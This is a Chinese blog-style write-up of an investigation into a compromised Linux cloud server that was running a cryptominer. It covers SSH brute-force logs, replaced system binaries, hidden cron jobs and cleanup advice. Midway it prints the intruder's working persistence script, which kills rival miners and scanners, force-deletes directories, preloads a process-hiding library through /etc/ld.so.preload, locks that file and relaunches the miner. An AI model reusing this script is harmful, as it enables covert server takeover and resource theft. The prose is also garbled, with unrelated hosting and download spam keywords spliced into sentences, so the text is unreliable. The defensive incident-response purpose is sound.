大家好 ，服务我是器被坤哥安全问题往往被大家忽视 ，但它轻则导致公司用户数据泄露引发严重的入侵舆论危机 ，重则导致数据被破坏导致公司破产 ，服务所以安全问题一定要重视 ，器被不过这类问题一旦出现 ，入侵由于大家经验比较少 ，服务往往很难入手，器被今天就给大家带来一篇服务器被入侵的入侵排查思路 ，相信大家看了肯定有收获 ！服务 下文中的器被 ，给文件和目录加锁 ，入侵是云计算服务指给文件和目录增加了一些属性 ，只读等 。器被chattr +ia 一 、入侵服务器入侵现象近期有一个朋友的服务器(自己做了网站)好像遭遇了入侵 ，具体现象是 ：服务器 CPU 资源长期 100% ，负载较高 。服务器上面的服务不能正常提供服务 。
朋友处理了一会没有解决 ，我开始想说我不是搞安全的 ，我怎么会 ，但朋友开出了天价 ，免费模板一顿海底捞，我在生活和现实面前低头了。开始上手看看了 。 二 、服务器排查和处理2.1 、服务器被入侵的可能原因服务器ssh 密码 设置得很简单。腾讯云安全组范围放得很大 。使用了宝塔 ，宝塔面板的密码也是很简单的密码(应该不是这个入侵入口) 。2.2 、排查和处理步骤ps -ef /top 找出占用进程最大的高防服务器服务问题现象ps/top 命令 已经被替换了 。
secure Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720ssh2 Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534ssh2 Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548ssh2 Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8 Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8 Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690ssh2 Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8 Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl81.2.3.4.5.6.7.8.9.lighthouse 腾讯云轻量服务器 我们在这里就可以看到 ，有一些境外IP 34.215.138.2 成功登录了 ，这些 IP不是我们的正常登录 。在 /var/log/secure 日志里，我看到了 IP 34.215.138.2 尝试登录不到 500 次 就已经破解成功了。 处理措施这里我们立马采取了第一个措施 ， 在腾讯云安全组限制了 SSH 的登录IP， 之前的安全组 SSH 是放行所有IP 。源码库将 SSH ROOT 密码修改 。/root/.ssh/authorized_keys 备份 ，并清空 。 复制[root@VM-12-12-centos ~]# cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bakcp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied1.2.这时我们就遇到了权限的问题，这个晚点展开讲 ，因为我们已经限制了源IP ， 所以这个我们可以晚点来处理 。 查看最近新增的一些用户问题现象cat /etc/passwd
锁定用户 复制[root@VM-12-12-centos ~]# usermod -L sys11. 我这里不计划去找进程（已经在新建一台版本一致的系统 ， 来拷贝top 和ps 命令 ，需要一小会 ，我们趁这个时间 ，先看看其他） ，因为之前朋友重启过服务器 ，源码下载发现服务器启动过一会才会负载较高。我认为入侵者应该放了一些定时任务和启动脚本里面 。问题现象定时任务 crond 读取配置文件会从以下几个路径读取 ： /var/spool/cron/ , 由crontab -e 进行写入，配置文件无需指定用户/etc/crontab ，只能root 进行编辑 ，配置文件需指定用户/etc/cron.d/ ,在此文件夹下创建定时任务文件 ，配置文件需指定用户/etc/cron.*/var/spool/cron/ 未找到(后面会说到这里有障眼法)
/etc/crontab 未找到(后面会说到这里有障眼法) 但是我在 /var/log/cron 一直看到有任务执行。每间隔 5 分钟。 复制Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )1.2.3.4.5.6. 处理措施这里我们先做的操作就是 ，先把 /usr/lib/mysql/mysql 和 /sbin/httpss 给删除 。删除的时候还是提示没有权限 。香港云服务器我们知道这些文件应该是加琐了 ，所以我开始解锁 ，我们发现 chattr 也被替换和锁住了 。所以不能操作下去了 。 开机启动脚本 /etc/rc.local ， 我们也发现了一个脚本 。 复制[root@VM-12-12-centos ~]# cat /etc/rc.local#!/bin/bash # THIS FILE ISADDED FOR COMPATIBILITY PURPOSES # # It is highly advisable to create own systemd services orudev rules # to run scripts during boot instead of using this file. # # Incontrast to previous versions due to parallel execution during boot # this script will NOTbe run after all other services. # # Please note that you must run chmod +x /etc/rc.d/rc.localto ensure # that this script will be executed during boot. /usr/bin/0f4f80f9ab start1.2.3.4.5.6.7.8.9.10.11.12.13.14.但是这个文件好像不存在的，我们就把这个给注释了 。 还原更改了top、ps 、chattr 、lsattr.首先我们从相同版本的机器拷贝了chattr、lsattr ， 我们得先操作这个， 因为我们的top 和ps 都被锁住了 。 我将文件上传至/tmp 目录 ，然后增加可执行权限 ，然后先给/usr/bin/chattr 解除锁定 。 复制/tmp/chattr -ai /usr/bin/chattr1.执行完之后 ，发现还是不能替换/usr/bin/chattr 。最后耗费了一段时间才反应到 ，入侵者可能不仅仅加锁了文件还加锁了/usr/bin/ 。 解锁目录 复制/tmp/chattr -ai /usr/bin/1.这下才能把/usr/bin/chattr 给替换掉 。 接下来参考这些 ，我们把top 和ps 、lsattr 给还原了 。 部分截图
三 、本次入侵需要带来启示的点ps 、top 、chattr 、lsattr在这些命令被替换了 ，并且我们想还原又还原不了的场景 ，我们可以拷贝同版本的机器相同的命令放在其它目录 ，用这些命令来解除入侵者将它已经替换并锁定了文件 。注意有些入侵者不仅会在文件层面加锁，还会在当前的文件的目录这一层加锁 。我之前在这个上面困惑了一段时间 。 文件内容隐藏上文中 ，我执行 crontab -l 和 cat 查看 /etc/cron.d/ 下面的文件 。发现文件没有内容 。 其实不知道使用了什么特殊字符还是什么隐藏了 ， 其实是存在定时任务的 。 示例 ：
这个配置是如何导致 cat/more 看不了的, 今天再次看了下 ，这个文件可能是被当成了数据文件 ，因为我把这个文件 file 查看了之后 ，文件属性是 data. 然后文件包含的特殊字符。导致隐藏了 ，具体的有知道的大佬可以告知下 。 其中一个脚本 。 复制[root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464#!/bin/sh while test 1 = 1do sleep 30pkill -f main killall main killall sprshduerjsaia pkill -f sprshduerjsaia killall dr64 pkill -f dr64 killall .report_systempkill -f .report_systemkillall sshc pkill -f sshc pkill -f memory killall memory killall warmup killall koko killall kthreaddk killall systemc killall cront killall xm64_linux killall /var/tmp/j/./intelshell pkill -f dos32 pkill -f dos64 pkill -f .namepkill -f /usr/sbin/dbus pkill -f systemd-boot-check-no-failures killall .report_systempkill -f .report_systempkill -f keep-alive pkill -f linu pkill -f zapppp killall [scan]killall [ext4]pkill -f xm64_linux pkill -f ddrirc killall ./-bash pkill -f ./-bash killall kworkers killall dbus pkill -f biden1 pkill -f cpuminer-sse2 killall work64 pkill -f work64 killall work32 pkill -f work32 killall aarch12 pkill -f aarch12 killall bash1 pkill -f bash1 killall intelshell pkill -f intelshell killall heaven pkill -f heaven killall .syst3mdpkill -f .syst3mdpkill -f apachelogs killall .meinkampfpkill -f .meinkampfkillall xri pkill -f xri killall koko pkill -f koko killall work32-deamon pkill -f work32-deamon killall work64 -deamon pkill -f work64 -deamon killall secure.shpkill -f secure.shkkillall auth.shpkill -f auth.shkillall autoupdate pkill -f kworkers pkill -f autoupdate killall ld-linux pkill -f ld-linux pkill -9Donald killall -9Donald pkill -f /usr/local/bin/pnscan pkill -f /usr/bin/biden1 killall /usr/bin/biden1 killall r killall trace pkill -f minerd killall minerd pkill -f xm64 killall xm64 pkill -f sysdm killall sysdm pkill -f syst3md killall syst3md pkill -f xrig killall xrig pkill -f busybox killall busybox pkill -f joseph killall joseph pkill -f osama killall osama killall daemon pkill -f obama1 killall obama1 pkill -f kswapd0 killall kswapd0 pkill -f jehgms killall jehgms pkill -f tsm killall tsm pkill -f rig killall rig pkill -f xmr killall xmr pkill -f playstation killall playstation pkill -f ld-linux-x86-64killall ld-linux-x86-64pkill -f ruckusapd killall ruckusapd pkill -f run64 killall run64 pkill -f pwnrig killall pwnrig pkill -f phpupdate killall phpupdate pkill -f sysupdate killall sysupdate pkill -f phpguard killall phpguard pkill -f firstpress killall firstpress pkill -f zerocert killall zerocert pkill -f masscan killall masscan pkill -f -bash pkill -f spreadQlmnop killall spreadQlmnop killall -bash pkill -f cnrig killall cnrig pkill -f netvhost killall netvhost pkill -f kthreadds killall kthreadds pkill -f kthreadd killall kthreadd pkill -f kdevtmpfsi killall kdevtmpfsi pkill -f linuxservice killall linuxservice pkill -f rtmonitor killall rtmonitor pkill -f dev killall dev pkill -f xmrig killall xmrig pkill -f master killall master killall sysmd pkill -f sysmd pkill -f sendmail killall sendmail pkill -f ld-musl-x86_64. killall ld-musl-x86_64. killall watchdog pkill -f watchdog pkill -f 32678killall 32678killall dhpcd pkill -f dhpcd killall linux_amd64 pkill -f linux_amd64 killall xredis pkill -f xredis killall Linux2.6killall .chornydpkill -f .chornydkillall Opera pkill -f Opera killall libertyd pkill -f libertyd killall rcubind pkill -f rcubind killall clamscan pkill -f clamscan killall pnscan pkill -f pnscan killall zzh pkill -f zzh killall bioser pkill -f bioser rm -rf /root/.configrc/rm -rf /tmp/.X26-unix/rm -rf /tmp/.bash/rm -rf /root/.bash/rm -rf /root/.cache/rm -rf /tmp/.cache/rm -rf /dev/shm/.ssh/rm -rf /etc/.etcservice/linuxservice rm -rf /etc/.vhost/netvhost rm -rf /tmp/up.txtrm -rf /var/tmp/.update/rm -rf /var/tmp/.systemd/rm -rf /usr/sbin/.bash./.bash/rm -rf /etc/master rm -rf /usr/bin/busybox rm -rf /bin/sysmd rm -rf /tmp/.mx/rm -rf /dev/shm/.mx/rm -rf /usr/bin/xrig rm -rf /etc/32678rm -rf /root/c3pool/rm -rf /usr/bin/.sshd/rm -rf /tmp/div systemctl stop c3pool_miner.servicesystemctl stop pwnriglhttps.servicesystemctl stop cryto systemctl stop scan systemctl stop bot systemctl stop myservice.servicesystemctl stop netns.servicesystemctl stop cryptsetup.serviceecho /usr/local/lib/libprocesshider.so > /etc/ld.so.preloadlockr +ai /etc/ld.so.preload >/dev/null 2>&1chmod 777 /usr/lib/mysql/*/usr/lib/mysql/./mysqldone1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.56.57.58.59.60.61.62.63.64.65.66.67.68.69.70.71.72.73.74.75.76.77.78.79.80.81.82.83.84.85.86.87.88.89.90.91.92.93.94.95.96.97.98.99.100.101.102.103.104.105.106.107.108.109.110.111.112.113.114.115.116.117.118.119.120.121.122.123.124.125.126.127.128.129.130.131.132.133.134.135.136.137.138.139.140.141.142.143.144.145.146.147.148.149.150.151.152.153.154.155.156.157.158.159.160.161.162.163.164.165.166.167.168.169.170.171.172.173.174.175.176.177.178.179.180.181.182.183.184.185.186.187.188.189.190.191.192.193.194.195.196.197.198.199.200.201.202.203.204.205.206.207.208.209.210.211.212.213.214.215.216.217.218.219.220.221.222.223.224.225.226.227.228.229.我们可以看到这个脚本其实一直在 更改 /etc/ld.so.preload 的内容。并且在关闭一些扫描软件和系统的服务 。 在 Linux 操作系统的动态链接库加载过程中 ，动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容 ，并将读取到的动态链接库进行预加载，即使程序不依赖这些动态链接库 ，LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载 ，它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高 ，所以能够提前于用户调用的动态库载入。 ——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》 我已经删除了 /usr/local/lib/libprocesshider.so 文件 ，之后每次执行命令会有这个报错 。
我在清空文件 /etc/ld.so.preload 之后 ，我发现好了一会后 ，还是出现这个 ，我再看 /etc/ld.so.preload 文件，里面又写了 /usr/local/lib/libprocesshider.so ，我怀疑还有定时任务 ，但是我找了一会定时任务 ，还是没有找到 。后面在查看异常进程的时候 ，我看到了这个进程
发现这个脚本的就是一直在循环执行上面内容 。将这个进程 kill 后 ，然后删除脚本 。 四 、本次服务器被入侵的一些启示用好云厂家的安全组。对一些关键端口，放行规则尽量最小/服务器相关的一些密码尽量增加复杂性 。增加对一些关键文件的监控. (通过监控软件监控 md5 值) 复制- /etc/passwd - /etc/shadow - /etc/group - /root/.bash_history - /root/.ssh/authorized_keys - /etc/ssh/sshd_config - /etc/profile - /var/spool/cron/root - /etc/crontab - /etc/ld.so.preload - /etc/rc.local -lsof -ps -netstat -top -ls -pstree -last -history -sudo -password -`chattr` - `lsattr`1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.服务器被入侵 ，最好怎么处理 ？https://cloud.tencent.com/document/product/296/9604 https://help.aliyun.com/document_detail/40994.htm 服务器如果有开放 SSH 远程登录 ，可以设置限制登录(安全组 、或者服务) ，只放行自己的IP. 查找详细的入侵痕迹last 或者grep Accepted /var/log/secure/root/.ssh/authorized_keys /etc/passwd 这些文件也可以看下 。将一些新建的用户锁定 。 服务器如果可以关闭外网 ，就关闭外网 。在安全组层面设置下 ，或者路由或者 NAT。首先看下 ps/top 命令有没有被篡改 ， 如果有的话 ， 从其他正常的机器上拷贝至服务器上 。然后执行查看异常进程 。也要查询下 /etc/ld.so.preload 是否有被篡改 。如果有的的话，记得清空里面的内容 ，然后将对应的文件删除或者重命名 。如果使用过程中遇到了文件不可删 ，不可改的问题 ，需要使用 chattr -ia 文件名 如果 chattr 也被串改 ，那就需要从别的机器拷贝。然后复原 。 如果上述没有找到 ，可以通过 netstat 间接查看异常的连接从而查询异常进程 。检查开机启动 和 crontab 相关的内容 。检查异常进程 。 |
